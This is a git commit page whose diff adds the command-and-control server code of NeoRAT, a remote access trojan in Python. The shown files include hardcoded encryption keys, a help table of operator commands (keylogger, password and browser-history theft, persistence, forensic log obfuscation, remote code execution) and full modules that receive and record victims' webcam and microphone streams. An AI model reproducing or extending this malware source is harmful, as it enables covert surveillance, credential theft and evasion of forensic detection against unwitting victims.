summaryrefslogtreecommitdiff
path: root/domestic
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic
NeoRATHEADmain
Diffstat (limited to 'domestic')
-rw-r--r--domestic/global_state.py89
-rw-r--r--domestic/globally/clear_screen.py8
-rw-r--r--domestic/globally/exit_program.py14
-rw-r--r--domestic/globally/get_help.py185
-rw-r--r--domestic/globally/options.py114
-rw-r--r--domestic/globally/sockets.py31
-rw-r--r--domestic/make/make_directories.py14
-rw-r--r--domestic/make/make_file.py18
-rw-r--r--domestic/make/make_history.py24
-rw-r--r--domestic/make/make_image.py24
-rw-r--r--domestic/make/make_wave.py19
-rw-r--r--domestic/modules/audio.py138
-rw-r--r--domestic/modules/cam.py163
-rw-r--r--domestic/modules/socket_handler.py33
-rw-r--r--domestic/modules/stream.py165
-rw-r--r--domestic/modules/talk.py128
-rw-r--r--domestic/parse/alias_parser.py22
-rw-r--r--domestic/parse/command_argument_parser.py21
-rw-r--r--domestic/parse/command_validation.py98
-rw-r--r--domestic/parse/error_exception_handling.py41
-rw-r--r--domestic/parse/internal_server_error_exception_handling.py30
-rw-r--r--domestic/session/enter_session.py15
-rw-r--r--domestic/session/exit_session.py9
-rw-r--r--domestic/session/server_handling/cd.py8
-rw-r--r--domestic/session/server_handling/download.py35
-rw-r--r--domestic/session/server_handling/encrypt.py13
-rw-r--r--domestic/session/server_handling/image.py31
-rw-r--r--domestic/session/server_handling/interpreter.py35
-rw-r--r--domestic/session/server_handling/keylogger.py43
-rw-r--r--domestic/session/server_handling/keystroke.py23
-rw-r--r--domestic/session/server_handling/messagebox.py25
-rw-r--r--domestic/session/server_handling/obfuscate.py15
-rw-r--r--domestic/session/server_handling/persistence.py23
-rw-r--r--domestic/session/server_handling/recover.py66
-rw-r--r--domestic/session/server_handling/system.py29
-rw-r--r--domestic/session/server_handling/upload.py36
-rw-r--r--domestic/session/server_handling/website.py8
-rw-r--r--domestic/session/session_message.py35
-rw-r--r--domestic/session/session_queue.py43
-rw-r--r--domestic/session/session_wait.py22
-rw-r--r--domestic/shell/delete.py13
-rw-r--r--domestic/shell/list_clients.py24
-rw-r--r--domestic/shell/server.py134
-rw-r--r--domestic/shell/stdout.py8
-rw-r--r--domestic/utility/delete_client.py21
-rw-r--r--domestic/utility/get_filename.py5
-rw-r--r--domestic/utility/get_io_channels.py43
-rw-r--r--domestic/utility/get_timestamp.py5
-rw-r--r--domestic/utility/loading.py31
-rw-r--r--domestic/utility/program_setup.py38
-rw-r--r--domestic/utility/read_file.py3
-rw-r--r--domestic/utility/send_email.py12
-rw-r--r--domestic/utility/status_message.py86
-rw-r--r--domestic/utility/text_to_ascii.py17
-rw-r--r--domestic/utility/text_to_image.py42
-rw-r--r--domestic/utility/validate_dict_key.py10
-rw-r--r--domestic/utility/write_error.py6
57 files changed, 2391 insertions, 0 deletions
diff --git a/domestic/global_state.py b/domestic/global_state.py
new file mode 100644
index 0000000..c9a7cc9
--- /dev/null
+++ b/domestic/global_state.py
@@ -0,0 +1,89 @@
+from binary.encrypt_data import *
+
+
+state = {
+ 'name': 'NeoRAT',
+ 'description': 'NeoRAT (2/3) hosts a TCP server allowing connections from clients.\n'
+ + 'Supporting C&C with powerful features, including streams of audio, \n'
+ + 'desktop, webcam & keylogger, while improving upon NexRAT. [USE: \'HELP\']',
+ 'author': 'Author\'s Repositories: https://git.alvinhavel.com',
+ 'settings': {
+ 'dynamic': {
+ 'is-loading': False,
+ 'alias-size': None,
+ 'alias-data': None,
+ 'queue': []
+ },
+ 'debug': False,
+ 'safe-timeout': 60,
+ 'keep-alive-count': 60,
+ 'max-file-size': 75,
+ 'loading': True,
+ 'loading-animation': False,
+ 'encoding': 'latin-1',
+ 'headersize': 10,
+ 'io-channels': [None, None],
+ 'encryption': Encryption(
+ 'ksxgyRuBRJLKxjFeHD4nmxbE',
+ b'v4CuHZFzmTedBY2EBGrLRXsm'),
+ 'folders': {
+ 'parent': 'Resources',
+ 'child': ('Files',
+ 'Scripts',
+ 'Haarcascades',
+ 'Keystroke')
+ }
+ },
+ 'session': {
+ 'active': False,
+ 'socket': None,
+ 'username': None,
+ 'data': None
+ },
+ 'sockets': {
+ 'server': None,
+ 'clients': [[], [], []],
+ 'modules': {
+ 'stream': [None, []],
+ 'cam': [None, []],
+ 'audio': [None, []],
+ 'talk': [None, []]
+ }
+ },
+ 'options': {
+ 'mode': {
+ 'safe': False,
+ 'silent': False,
+ },
+ 'validation': {
+ 'duplicates': True,
+ 'max-clients': 25
+ },
+ 'information-gathering': {
+ 'history': True,
+ 'whoami': True,
+ 'record': {
+ 'stream': True,
+ 'cam-stream': True,
+ 'audio': True,
+ 'talk': True
+ },
+ 'save': {
+ 'screenshot': True,
+ 'cam-screenshot': True
+ },
+ 'backup': {
+ 'text': False,
+ 'image': False
+ }
+ },
+ 'notice': {
+ 'email-notice': False,
+ 'email-data': {
+ 'email': None,
+ 'password': None,
+ 'to': None
+ }
+ }
+ }
+}
diff --git a/domestic/globally/clear_screen.py b/domestic/globally/clear_screen.py
new file mode 100644
index 0000000..2d8af53
--- /dev/null
+++ b/domestic/globally/clear_screen.py
@@ -0,0 +1,8 @@
+import os
+
+from domestic.utility.status_message import *
+
+
+def clear_screen():
+ os.system('cls')
+ status_message(None, 'program') \ No newline at end of file
diff --git a/domestic/globally/exit_program.py b/domestic/globally/exit_program.py
new file mode 100644
index 0000000..c08c34e
--- /dev/null
+++ b/domestic/globally/exit_program.py
@@ -0,0 +1,14 @@
+import os
+
+from domestic.utility.status_message import *
+from domestic.utility.delete_client import *
+from domestic.global_state import *
+
+
+def exit_program():
+ status_message(f'Exiting {state["name"]}', 'danger', {'dots': True, 'end': True})
+
+ for i in range(len(state['sockets']['clients'][0])):
+ delete_client(i, False)
+
+ os._exit(0) \ No newline at end of file
diff --git a/domestic/globally/get_help.py b/domestic/globally/get_help.py
new file mode 100644
index 0000000..1587165
--- /dev/null
+++ b/domestic/globally/get_help.py
@@ -0,0 +1,185 @@
+import tabulate
+
+from domestic.utility.status_message import *
+
+
+help_obj = {
+ 'help': {
+ 'type': 'Globally',
+ 'usage': 'help',
+ 'description': 'Shows available commands'
+ },
+ 'exit': {
+ 'type': 'Globally',
+ 'usage': 'exit',
+ 'description': 'Exits program'
+ },
+ 'clear': {
+ 'type': 'Globally',
+ 'usage': 'clear',
+ 'description': 'Clears your terminal window'
+ },
+ 'sockets': {
+ 'type': 'Globally',
+ 'usage': 'sockets',
+ 'description': 'Show sockets information'
+ },
+ 'options': {
+ 'type': 'Globally',
+ 'usage': 'options --available | --key [key] & --value [value]',
+ 'description': 'Handle available options'
+ },
+ 'stream': {
+ 'type': 'Globally',
+ 'usage': 'stream --ip [ip] & --port [port] | --unbind | --close [index] | --status',
+ 'description': 'Handle stream module'
+ },
+ 'cam': {
+ 'type': 'Globally',
+ 'usage': 'cam --ip [ip] & --port [port] | --unbind | --close [index] | --status',
+ 'description': 'Handle cam module'
+ },
+ 'audio': {
+ 'type': 'Globally',
+ 'usage': 'audio --ip [ip] & --port [port] | --unbind | --close [index] | --status',
+ 'description': 'Handle audio module'
+ },
+ 'talk': {
+ 'type': 'Globally',
+ 'usage': 'talk --ip [ip] & --port [port] | --unbind | --close [index] | --status',
+ 'description': 'Handle talk module'
+ },
+ 'list': {
+ 'type': 'Shell',
+ 'usage': 'list',
+ 'description': 'List connected clients'
+ },
+ 'server': {
+ 'type': 'Shell',
+ 'usage': 'server --ip [ip] & --port [port] | --unbind | --status',
+ 'description': 'Handle client server'
+ },
+ 'session': {
+ 'type': 'Shell',
+ 'usage': 'session --index [index]',
+ 'description': 'Establish a session with a client'
+ },
+ 'delete': {
+ 'type': 'Shell',
+ 'usage': 'delete --index [index]',
+ 'description': 'Delete a connected client'
+ },
+ 'break': {
+ 'type': 'Session',
+ 'usage': 'break',
+ 'description': 'Exit active session'
+ },
+ 'uninstall': {
+ 'type': 'Session',
+ 'usage': 'uninstall',
+ 'description': 'Delete client file & exit'
+ },
+ 'reconnect': {
+ 'type': 'Session',
+ 'usage': 'reconnect',
+ 'description': 'Reconnect a new client'
+ },
+ 'cd': {
+ 'type': 'Session',
+ 'usage': 'cd --to [directory]',
+ 'description': 'Change directory of session shell'
+ },
+ 'image': {
+ 'type': 'Session',
+ 'usage': 'image --screenshot | --cam (--monitor [index])',
+ 'description': 'Capture a screenshot / cam screenshot'
+ },
+ 'upload': {
+ 'type': 'Session',
+ 'usage': 'upload --file [filename] | --url [url] (--execute)',
+ 'description': 'Upload file to client'
+ },
+ 'download': {
+ 'type': 'Session',
+ 'usage': 'download --file [filename] (--execute)',
+ 'description': 'Download file from client'
+ },
+ 'encrypt': {
+ 'type': 'Session',
+ 'usage': 'encrypt --file [filename] (--decrypt)',
+ 'description': 'Encrypt / decrypt a file'
+ },
+ 'interpreter': {
+ 'type': 'Session',
+ 'usage': 'interpreter --execute [code] | --script [filename] (--quiet)',
+ 'description': 'Execute Python code'
+ },
+ 'keylogger': {
+ 'type': 'Session',
+ 'usage': 'keylogger --run | --download (--quiet) | --close | --status',
+ 'description': 'Handle keylogger'
+ },
+ 'keystroke': {
+ 'type': 'Session',
+ 'usage': 'keystroke --inject [inject] | --script [filename]',
+ 'description': 'Enumerate keyboard / mouse actions'
+ },
+ 'persistence': {
+ 'type': 'Session',
+ 'usage': 'persistence --elevate | --schedule | --service',
+ 'description': 'Alternatives for client persistence'
+ },
+ 'system': {
+ 'type': 'Session',
+ 'usage': 'system --shutdown | --restart | --logout | --standby',
+ 'description': 'Perform system actions'
+ },
+ 'recover': {
+ 'type': 'Session',
+ 'usage': 'recover --password | --history (--force) (--quiet)',
+ 'description': 'Recover passwords / browser history'
+ },
+ 'obfuscate': {
+ 'type': 'Session',
+ 'usage': 'obfuscate --logs',
+ 'description': 'Obfuscate forensic footprints'
+ },
+ 'messagebox': {
+ 'type': 'Session',
+ 'usage': 'messagebox --title [title] --text [text] (--style [style])',
+ 'description': 'Display a messagebox'
+ },
+ 'website': {
+ 'type': 'Session',
+ 'usage': 'website --open [open]',
+ 'description': 'Opens one or more websites'
+ },
+ 'stream_2': {
+ 'type': 'Session',
+ 'usage': 'stream --resolution [resolution] (monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])',
+ 'description': 'Run stream module'
+ },
+ 'cam_2': {
+ 'type': 'Session',
+ 'usage': 'cam --resolution [resolution] (--monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])',
+ 'description': 'Run cam module'
+ },
+ 'audio_2': {
+ 'type': 'Session',
+ 'usage': 'audio --run (--quiet) (--ip [ip] & --port [port])',
+ 'description': 'Run audio module'
+ },
+ 'talk_2': {
+ 'type': 'Session',
+ 'usage': 'talk --run (--ip [ip] & --port [port])',
+ 'description': 'Run talk module'
+ }
+}
+
+
+def get_help():
+ all_commands = []
+ for key, value in help_obj.items():
+ all_commands.append([value['type'], value['usage'], value['description']])
+
+ status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure') \ No newline at end of file
diff --git a/domestic/globally/options.py b/domestic/globally/options.py
new file mode 100644
index 0000000..39a80a0
--- /dev/null
+++ b/domestic/globally/options.py
@@ -0,0 +1,114 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+options_list = (
+ (
+ 'mode/safe',
+ 'mode/silent',
+ 'validation/duplicates',
+ 'validation/max-clients',
+ 'information-gathering/history',
+ 'information-gathering/whoami',
+ 'information-gathering/record/stream',
+ 'information-gathering/record/cam-stream',
+ 'information-gathering/record/audio',
+ 'information-gathering/record/talk',
+ 'information-gathering/save/screenshot',
+ 'information-gathering/save/cam-screenshot',
+ 'information-gathering/backup/text',
+ 'information-gathering/backup/image',
+ 'notice/email-notice',
+ 'notice/email-data/email',
+ 'notice/email-data/password',
+ 'notice/email-data/to'
+ ),
+ (
+ 'bool',
+ 'bool',
+ 'bool',
+ 'int',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'bool',
+ 'str',
+ 'str',
+ 'str'
+ )
+)
+
+
+@error_exception_handling
+def options(message):
+ key = validate_dict_key(message, 'key')
+ value = validate_dict_key(message, 'value')
+ available = validate_dict_key(message, 'available')
+
+ if key and value:
+ key_list = key.split('/')
+ key_len = len(key_list)
+
+ assert key in options_list[0]
+ value = validate_option(value, options_list[1][options_list[0].index(key)])
+
+ if key_len == 2:
+ state['options'][key_list[0]][key_list[1]] = value
+ elif key_len == 3:
+ state['options'][key_list[0]][key_list[1]][key_list[2]] = value
+ elif key_len == 4:
+ state['options'][key_list[0]][key_list[1]][key_list[2]][key_list[3]] = value
+ else:
+ raise Exception('Key length is invalid')
+ status_message(f'Option: {key} is now set to {value}', 'success')
+ elif available:
+ options = state['options']
+ categories = ['mode', 'validation', 'information-gathering', 'notice']
+
+ for categorie in categories:
+ option_category = options[categorie]
+
+ status_message(f'{categorie.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
+ for key, value in option_category.items():
+ if 'dict' in str(type(value)):
+ status_message(f'- {key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
+ for key_2, value_2 in value.items():
+ status_message(f' - {key_2.capitalize()}: {value_2}', 'pure', {'end': True})
+ else:
+ status_message(f' - {key.capitalize()}: {value}', 'pure', {'end': True})
+ print()
+ status_message(None, 'program')
+ else:
+ raise Exception('Error message')
+
+
+def validate_option(value, value_type):
+ if value == 'true':
+ value = True
+ elif value == 'false':
+ value = False
+ elif value == 'none':
+ if 'str' == value_type:
+ value = None
+ elif value.isdigit():
+ value = int(value)
+
+ value_type_calc = str(type(value))
+
+ if 'str' in value_type_calc:
+ assert len(value) < 128
+ elif 'int' in value_type_calc:
+ assert value < 10000
+
+ assert value_type in value_type_calc or value is None
+
+ return value \ No newline at end of file
diff --git a/domestic/globally/sockets.py b/domestic/globally/sockets.py
new file mode 100644
index 0000000..31cd164
--- /dev/null
+++ b/domestic/globally/sockets.py
@@ -0,0 +1,31 @@
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+def sockets():
+ if state['sockets']['server']:
+ ip, port = state['sockets']['server'].getsockname()
+ status_message('Server:', 'magenta', {'end': True, 'point': 'empty'})
+ status_message(f' - Listening', 'pure', {'end': True})
+ else:
+ status_message('Server:', 'magenta', {'end': True, 'point': 'empty'})
+ status_message(f' - Not listening', 'pure', {'end': True})
+
+ for key, value in state['sockets']['modules'].items():
+ if value[0]:
+ ip, port = value[0].getsockname()
+ status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
+ else:
+ status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
+ status_message(' - Not listening', 'pure', {'end': True})
+ continue
+
+ if len(value[1]) == 0:
+ status_message(' - None running', 'pure', {'end': True})
+ else:
+ for index, module_client in enumerate(value[1]):
+ status_message(f' - [{index}] {module_client[1]}', 'pure', {'end': True})
+
+ print()
+ status_message(None, 'program') \ No newline at end of file
diff --git a/domestic/make/make_directories.py b/domestic/make/make_directories.py
new file mode 100644
index 0000000..b6235b4
--- /dev/null
+++ b/domestic/make/make_directories.py
@@ -0,0 +1,14 @@
+import os
+
+from domestic.global_state import *
+
+
+def make_directories(directories):
+ root = state['root']
+
+ if not os.path.isdir(root):
+ os.mkdir(root)
+
+ for directory in directories:
+ if not os.path.isdir(f'{root}/{directory}'):
+ os.mkdir(f'{root}/{directory}') \ No newline at end of file
diff --git a/domestic/make/make_file.py b/domestic/make/make_file.py
new file mode 100644
index 0000000..0fb7f6e
--- /dev/null
+++ b/domestic/make/make_file.py
@@ -0,0 +1,18 @@
+from domestic.utility.status_message import *
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.global_state import *
+
+
+def make_file(directories, file_type, data, success_message=None):
+ filename = get_filename(file_type)
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ with open(path, 'wb') as f:
+ f.write(data)
+
+ if success_message:
+ status_message(f'Path: {path}\n{success_message}', 'success') \ No newline at end of file
diff --git a/domestic/make/make_history.py b/domestic/make/make_history.py
new file mode 100644
index 0000000..992269f
--- /dev/null
+++ b/domestic/make/make_history.py
@@ -0,0 +1,24 @@
+import csv
+
+from domestic.utility.status_message import *
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.global_state import *
+
+
+def make_history(directories, file_type, browserhistory, success_message=None):
+ filename = get_filename(file_type)
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ for browser, history in browserhistory.items():
+ with open(f'{path}/{browser}_{filename}', 'w', encoding='utf-8', newline='') as csvfile:
+ csv_writer = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_ALL)
+
+ for data in history:
+ csv_writer.writerow(data)
+
+ if success_message:
+ status_message(f'Path: {path}/[browser]_{filename}\n{success_message}', 'success') \ No newline at end of file
diff --git a/domestic/make/make_image.py b/domestic/make/make_image.py
new file mode 100644
index 0000000..2697633
--- /dev/null
+++ b/domestic/make/make_image.py
@@ -0,0 +1,24 @@
+from domestic.utility.status_message import *
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.global_state import *
+
+
+def make_image(directories, data, show_image=True, success_message=None, image_type=None):
+ filename = get_filename('png')
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
+ data.save(path)
+
+ if show_image:
+ data.show()
+
+ if success_message:
+ if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
+ status_message(f'Path: {path}\n{success_message}', 'success')
+ else:
+ status_message(success_message, 'success') \ No newline at end of file
diff --git a/domestic/make/make_wave.py b/domestic/make/make_wave.py
new file mode 100644
index 0000000..02dcb6e
--- /dev/null
+++ b/domestic/make/make_wave.py
@@ -0,0 +1,19 @@
+import wave
+
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.global_state import *
+
+
+def make_wave(directories, username, wave_data):
+ filename = get_filename('wav')
+ path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ waveFile = wave.open(path, 'wb')
+ waveFile.setnchannels(wave_data[0])
+ waveFile.setsampwidth(wave_data[1].get_sample_size(wave_data[2]))
+ waveFile.setframerate(wave_data[3])
+ waveFile.writeframes(b''.join(wave_data[4]))
+ waveFile.close() \ No newline at end of file
diff --git a/domestic/modules/audio.py b/domestic/modules/audio.py
new file mode 100644
index 0000000..1fcfafc
--- /dev/null
+++ b/domestic/modules/audio.py
@@ -0,0 +1,138 @@
+import threading
+import pyaudio
+import pickle
+import zlib
+import sys
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.make.make_wave import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def audio_action(write_stream):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+ frames = []
+
+ p = pyaudio.PyAudio()
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ RATE = 44100
+ CHANNELS = 2
+
+ try:
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+ except:
+ CHANNELS = 1
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+
+ record = state['options']['information-gathering']['record']['audio']
+ client, addr = state['sockets']['modules']['audio'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['audio'][1].append(client_obj)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if write_stream is None:
+ stream.write(frame)
+
+ frames.append(frame)
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ if record:
+ make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames))
+
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ state['sockets']['modules']['audio'][1].remove(client_obj)
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def audio(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ run = validate_dict_key(data, 'run')
+ quiet = validate_dict_key(data, 'quiet')
+ unbind = validate_dict_key(data, 'unbind')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+
+ if run:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname()
+
+ if quiet:
+ del data['quiet']
+
+ del data['run']
+
+ threading.Thread(target=audio_action, args=(quiet,), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['audio'][0] is None:
+ bind_socket(ip, port, 'audio')
+ else:
+ ip, port = state['sockets']['modules']['audio'][0].getsockname()
+ status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['audio'][0]:
+ unbind_socket('audio')
+ else:
+ status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning')
+ elif close:
+ close_client(close, 'audio')
+ elif status:
+ if state['sockets']['modules']['audio'][0]:
+ ip, port = state['sockets']['modules']['audio'][0].getsockname()
+ status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (audio module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/cam.py b/domestic/modules/cam.py
new file mode 100644
index 0000000..3ce729d
--- /dev/null
+++ b/domestic/modules/cam.py
@@ -0,0 +1,163 @@
+import threading
+import random
+import pickle
+import zlib
+import cv2
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def cam_action(resolution, recognize, fit):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+
+ cam_id = random.randint(0, 100000)
+ record = state['options']['information-gathering']['record']['cam-stream']
+ client, addr = state['sockets']['modules']['cam'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['cam'][1].append(client_obj)
+
+ if recognize:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][2]
+ faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')
+
+ if record:
+ directories = ['modules', 'modules/cam-stream']
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(path, fourcc, 5.0, resolution)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if recognize:
+ faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE)
+
+ for (x, y, w, h) in faces:
+ cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2)
+
+ if fit is None:
+ cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL)
+
+ cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame)
+
+ if record:
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ raise Exception('Close stream')
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ state['sockets']['modules']['cam'][1].remove(client_obj)
+
+ if record:
+ out.release()
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def cam(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ unbind = validate_dict_key(data, 'unbind')
+ resolution = validate_dict_key(data, 'resolution')
+ monitor = validate_dict_key(data, 'monitor')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+ fps = validate_dict_key(data, 'fps')
+ fit = validate_dict_key(data, 'fit')
+ recognize = validate_dict_key(data, 'recognize')
+
+ if resolution:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname()
+
+ if monitor:
+ data['monitor'] = int(monitor)
+ else:
+ data['monitor'] = 0
+
+ if fps is None:
+ data['fps'] = False
+
+ if fit:
+ del data['fit']
+
+ if recognize:
+ del data['recognize']
+
+ del data['resolution']
+
+ threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['cam'][0] is None:
+ bind_socket(ip, port, 'cam')
+ else:
+ ip, port = state['sockets']['modules']['cam'][0].getsockname()
+ status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['cam'][0]:
+ unbind_socket('cam')
+ else:
+ status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning')
+ elif close:
+ close_client(close, 'cam')
+ elif status:
+ if state['sockets']['modules']['cam'][0]:
+ ip, port = state['sockets']['modules']['cam'][0].getsockname()
+ status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (cam module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/socket_handler.py b/domestic/modules/socket_handler.py
new file mode 100644
index 0000000..7f8c57e
--- /dev/null
+++ b/domestic/modules/socket_handler.py
@@ -0,0 +1,33 @@
+import socket
+
+from domestic.utility.status_message import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+def bind_socket(ip, port, module_type, stdout=True):
+ try:
+ state['sockets']['modules'][module_type][0] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ state['sockets']['modules'][module_type][0].bind((ip, int(port)))
+ state['sockets']['modules'][module_type][0].listen()
+ except Exception as err:
+ write_error(err)
+ state['sockets']['modules'][module_type][0] = None
+ raise Exception('Socket binding error')
+ else:
+ if stdout:
+ status_message(f'{module_type.capitalize()} address successfully bound', 'success')
+
+def close_client(index, module_type, write_stdout=True):
+ state['sockets']['modules'][module_type][1][int(index)][0].close()
+
+ if write_stdout:
+ status_message(f'{module_type.capitalize()} client successfully closed', 'success')
+
+def unbind_socket(module_type):
+ for _ in range(len(state['sockets']['modules'][module_type][1])):
+ close_client('0', module_type, False)
+
+ state['sockets']['modules'][module_type][0].close()
+ state['sockets']['modules'][module_type][0] = None
+ status_message(f'{module_type.capitalize()} address successfully closed', 'success') \ No newline at end of file
